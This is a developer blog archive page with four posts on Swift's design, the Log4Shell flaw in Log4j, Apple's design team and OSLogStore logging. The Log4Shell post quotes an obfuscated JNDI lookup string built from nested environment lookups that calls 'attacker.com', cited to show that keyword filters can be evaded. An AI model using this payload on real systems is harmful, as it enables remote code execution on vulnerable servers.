Archive for December 10, 2021

Friday, December 10, 2021

Abrahams on the Design of Swift

Dave Abrahams, former lead of the Swift standard library and SwiftUI contributor:

My Rebase 2021 talk, “a retrospective on the design of Swift,” is up at [YouTube]

This is a very interesting talk containing some very strange example Objective-C code. He states several times that he doesn’t use classes, only value types. This may be a good goal, but for app development it seems completely unrealistic for a variety of practical and performance reasons. One is left wondering how well he understood the needs of the developers who would be using the Swift language and library, though he says others on the Swift team had experience writing apps. Overall, I think the standard library is deservedly seen as a success story. I remain deeply skeptical of SwiftUI.

I do wholeheartedly agree with Abrahams that the design of the current Swift documentation does many programmers a disservice by omitting important details about conditional conformances and where methods are defined. It seems to follow the Alan Dye school of design. Making things look simple by hiding things doesn’t actually make them simple.

Previously:

Update (2021-12-13): Greg Parker:

“Objective-C without the C” was a good keynote line but it’s a bad description of Swift.

We designed a language that was closer to Objective-C without the C. It wasn’t good enough to make up for the costs. Adoption of a new language had to be “go big or go home”.

[…]

The introduction of Objective-C garbage collection and ARC had improved the raw C-ness of the API, but there was still a long way to go. (There was also some false optimism from the old Java Bridge: the OS was just too big now for its techniques to scale easily.)

The GC work had also taught us that getting cooperation from unenthusiastic framework owners was difficult. Swift’s appeal as a language with fundamentally new capabilities helped get engineers and managers on board with the necessary grunt work.

Performance was also likely to become a problem. NSArrays and naïve ARC weren’t going to be good enough. Swift paid the engineer-hours to get new collection and refcounting implementations and new compiler support to optimize and bridge them.

Helge Heß notes that NeXT had already done a basic “Objective-C without the C” called WebScript (PDF).

Update (2021-12-16): See also: Hacker News.

Log4Shell: Log4j Remote Code Execution

Free Wortley and Chris Thompson (Hacker News):

A few hours ago, a 0-day exploit in the popular Java logging library log4j2 was discovered that results in Remote Code Execution (RCE) by logging a certain string.

[…]

Many, many services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, and apps like Minecraft have already been found to be vulnerable.

[…]

This proof of concept of changing an iPhone’s name demonstrates that physical devices are also affected by this vulnerability.

lewisjoe:

Now there’s a bunch of ways to interpolate “variables” into log content. For example something like "Logging from ${java:vm}" will print “Logging from Oracle JVM”. I’m not sure but you get the idea.

One way to resolve a variable using a custom Java resolver is by looking it up through a remote class hosted in some LDAP server, say "${jndi:ldap://someremoteclass}" (I’m still not quite sure why LDAP comes into the picture). Turns out, by including “.” in some part of the URL to this remote class, Log4j lets off its guard & simply looks up to that server and dynamically loads the class file.

This allows injection of code written and hosted by the attacker.

Previously:

Update (2021-12-13): Howard Oakley:

Florian Roth @cyb3rops has suggested the following for testing apps for the Log4Shell vulnerability[…]

Pieter Arntz:

After close examination of this vulnerability researchers found that the vulnerability was already actively exploited before the public disclosure, going back as far as December 1st. The mass exploitation however, started after the disclosure.

Brandon Forbes:

If you’re filtering on “ldap”, “jndi”, or the ${lower:x} method, I have bad news for you:

${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}

John Graham-Cumming (Matthew Prince):

In this post we explain the history of this vulnerability, how it was introduced, how Cloudflare is protecting our clients. Details of actual attempted exploitation we are seeing blocked by our firewall service are in a separate blog post.

Catalin Cimpanu:

The Apache Log4j project is maintained by three people who are volunteering their spare time.

Filippo Valsorda:

Open Source software runs the Internet, and by extension the economy. This is an undisputed fact about reality in 2021. And yet, the role of Open Source maintainer has failed to mature from a hobby into a proper profession.

The catastrophic consequences are almost a daily occurrence.

[…]

Maintainers need to be legible to the big company department that approves and processes those invoices. Think about it: no company pays their law firm on Patreon. You’d be amazed how much harder it is to explain “what the fuck is an open collective?” for a $10k donation, compared to paying a $100k invoice to an LLC that filed a W-9 or W-8BEN and takes payment through ACH.

[…]

This is what I hope to see happen more and more: Open Source maintainers graduating to sophisticated counterparties who send invoices for “support and sponsorship” on letterhead, and big companies developing procedures to assess, approve, and pay them as a matter of routine so that they can get what they need from the ecosystem. Eventually, a whole career path with an onramp for junior maintainers, including training, like a real profession.

Previously:

Update (2021-12-16): David Crawshaw (via Hacker News):

It is the second statement in this tweet that is worthy of attention: the maintainers of log4j would have loved to remove this bad feature long ago, but could not because of the backwards compatibility promises they are held to.

[…]

By what backwards compatibility means to me, a project like log4j will break fewer people by removing a feature like the JNDI URLs than by marking an old API method with some mechanical deprecation notice that causes a build process’s equivalent of -Wall to fail and moving it to a new name. They will in practice, break fewer people removing this feature than they would by slowing down a critical path by 10%, which is the sort of thing that can trivially slip into a release unnoticed.

But the spirit of compatibility promises appears to be poorly understood across our industry (as software updates demonstrate to me every week), and so we lean on the pseudo-legalistic wording of project documentation to write strongly worded emails or snarky tweets any time a project makes work for us (because most projects don’t get it, so surely every example of a breakage must be a project that doesn’t get it, not a good reason), and upstream maintainers become defensive and overly conservative. The result is now everyone’s Java software is broken!

Glyph Lefkowitz:

In this specific case, it turns out there was not really any safe way to use the API. Initially it might appear that the issue was the treatment of an apparently fixed format string as a place to put variable user-specified data, but as it turns out it just recursively expands the log data forever, looking for code to execute. So perhaps the lesson here is nothing technical, just that we should remain ready to patch, or that we should pay the maintainers.

Bruce Schneier:

Threat advisory from Cisco. Cloudflare found it in the wild before it was disclosed. CISA is very concerned, saying that hundreds of millions of devices are likely affected.

Pieter Arntz:

For anyone about to sit back after checking their environment for the Log4j vulnerabilities and applying patches where needed, here are some more things that need patching.

Corin Faife:

So far, researchers have observed attackers using the Log4j vulnerability to install ransomware on honeypot servers — machines that are made deliberately vulnerable for the purpose of tracking new threats. One cybersecurity firm reported that nearly half of corporate networks it was monitoring had seen attempts to exploit the vulnerability.

[…]

What is known for sure is that the scope of the vulnerability is huge. A list of affected software compiled by the Cybersecurity and Infrastructure Security Agency (CISA) — and restricted to only enterprise software platforms — runs to more than 500 items long at time of press. A list of all affected applications would undoubtedly run to many thousands more.

See also: log4jmemes.com (via Hacker News).

Inside Apple’s Design Team

Jonathan Bell (Hacker News):

Ive was intensely involved with the building’s design (as was Steve Jobs during the project’s early stages). The team before us now very much reflect the realisation of the two men’s aspirations for a bespoke Apple building. ‘[The Apple Design Team] can share the same studio,’ Ive told Wallpaper in 2017. ‘We can have industrial designers sat next to a font designer, sat next to a sound designer, who is sat next to a motion graphics expert, who is sat next to a colour designer, who is sat next to somebody who is developing objects in soft materials.’

[…]

While new category killers such as Apple Watch and AirPods might appear effortless and fully formed from the outset, the work behind the scenes was staggering. Take the Human Factors Team, which blends experts in ergonomics, cognition and behavioural psychology. When AirPods’ development began a decade or so ago, human factors researcher Kristi Bauerly found herself researching the ‘crazily complex’ human ear.

[…]

Yet even something as superficially simple but environmentally beneficial as removing the plastic shrink-wrap from an iPhone box induces a paroxysm of self-examination within the team. How can the unboxing experience be maintained? Can it be made more accessible? The problem was mulled over, pulled apart and ultimately solved with an elegant paper tab mechanism. The change will save around 600 metric tonnes of plastic over the life of the product.

[…]

Accessibility and inclusiveness are vital components of the Design Team’s work.

The Accessibility options in Settings and System Preferences are increasingly vital to making their work usable.

Via Dave Mark:

If nothing else, follow the headline link and scan through the photos.

That first one shows a breathtaking view from the fourth floor inside Apple Park. The third shows Evans Hankey, VP of industrial design, and Alan Dye, VP of human interface design, in the Design Studio. Scroll down a bit more and you’ll see a model maker assembling camera modules for iPhone 13 Pro camera lenses into cosmetic models.

David Sparks:

I can’t help but think that every picture looks arranged and posed. This is not the design team ‘at work’. They are instead posing for a magazine shoot.

[…]

I wish that in addition to rooms dedicated to typography and color science, they also showed an even bigger room dedicated to user interface design. In my opinion, Apple’s hardware is untouchable at this moment, but some of the software mechanics and user interfaces need work. I wish I saw signs they were working more on that.

[…]

That said, relying on something Steve Jobs said years ago to justify your work is the wrong way to go about it. During Alan Dye’s tenure as VP of human interface design, Apple has become very opinionated and, arguably, too minimal. Removal of proxy icons is just one example of this. It feels like the veneer is getting way too much attention at the expense of the working bits.

Previously:

OSLogStore on Monterey

Quinn the Eskimo:

So, let’s start with some history:

  • macOS programs have been able to read log messages since the introduction of OSLogStore on macOS 10.15.

  • This API is not available on iOS-based platforms.

  • In iOS 14 beta we added the OSLog framework to the iOS SDK, along with a new initialiser to OSLogStore that allowed iOS apps to read their own log messages.

  • Unfortunately this feature didn’t work properly )-: and so it was removed very late in the iOS 14 beta cycle.

  • It’s now several months later and the feature has not returned (up to and including iOS 14.5b5).

I have no concrete info to share about when this feature will return; in fact, I can’t even confirm that it will return. What I can say is that the OSLog team are well aware of the demand for this feature from third-party developers.

Apple:

Gaining access to the local unified logging system requires permission from the system. The caller must be run by an admin account and have the com.apple.logging.local-store entitlement.

Quinn the Eskimo:

This is good news / bad news story:

  • The bad news is that there’s no way for a third-party developer to get the com.apple.logging.local-store entitlement.

  • The good news is that it’s not necessary: As long as you’re running as an admin user, you don’t need the entitlement.

  • The bad news is that this won’t work from within the App Sandox. AFAICT there’s no way for a third-party sandboxed app to access the log store.

Peter Steinberger:

As of iOS 15 and macOS Monterey, OSLogStore works just as expected. No entitlements or hacks needed. It works in the Simulator, on device, on macOS and macOS Catalyst. Try out the OSLogTest project here.

The local() log store and .system scope still don’t work in the sandbox. You’ll just get an error like:

Error Domain=OSLogErrorDomain Code=10 "Connection to logd failed" UserInfo={NSLocalizedDescription=Connection to logd failed, _OSLogErrorInternalCode=15}

From a sandboxed app, you can only use the .currentProcessIdentifier scope. Not having access to the entire system log does make some sense for privacy reasons, but it really reduces the usefulness of OSLogStore:

So, OSLogStore offers a nicer API than /usr/bin/log, but it is still very limited. In practice, I find that I still need to implement my own log persistence, which is too bad because in theory os_log has already solved hard problems like:

And, since os_log doesn’t have a pluggable backend, it needs to be isolated behind another layer in your app if you ever want to be able to access your own logs. Apple even has an open-source project for doing this.

SwiftLog (via Mattt Thompson):

This package only provides the logging API itself and therefore SwiftLog is a ‘logging API package’. SwiftLog (using LoggingSystem.bootstrap) can be configured to choose any compatible logging backend implementation. This way packages can adopt the API and the application can choose any compatible logging backend implementation without requiring any changes from any of the libraries.

Previously:

Update (2021-12-16): Saagar Jha:

It’s kind of weird that NSLog really hasn’t gotten a replacement at all for print debugging on Apple’s platforms. It just packs in so many of the right choices for this use case that everyone (myself included) finds themselves reaching for it all the time. Even from Swift!

[…]

Nobody is going to pull in a third party library or write a wrapper around something just for a debugging session, so the alternatives are what, print(f) and os_log? I use the former a bunch and the latter occasionally, but they often just aren’t what I need…

os_log is…cool, but cumbersome. You have to import a thing, then set up a logger, then you give it a static string, plus a category or whatever. And after all that work, it doesn’t even show up in Xcode! And in Console it’s redacted or at a low level so you don’t see it…

See also: Making os_log Public on macOS Catalina.

Copyright © 2000–2024 Michael Tsai.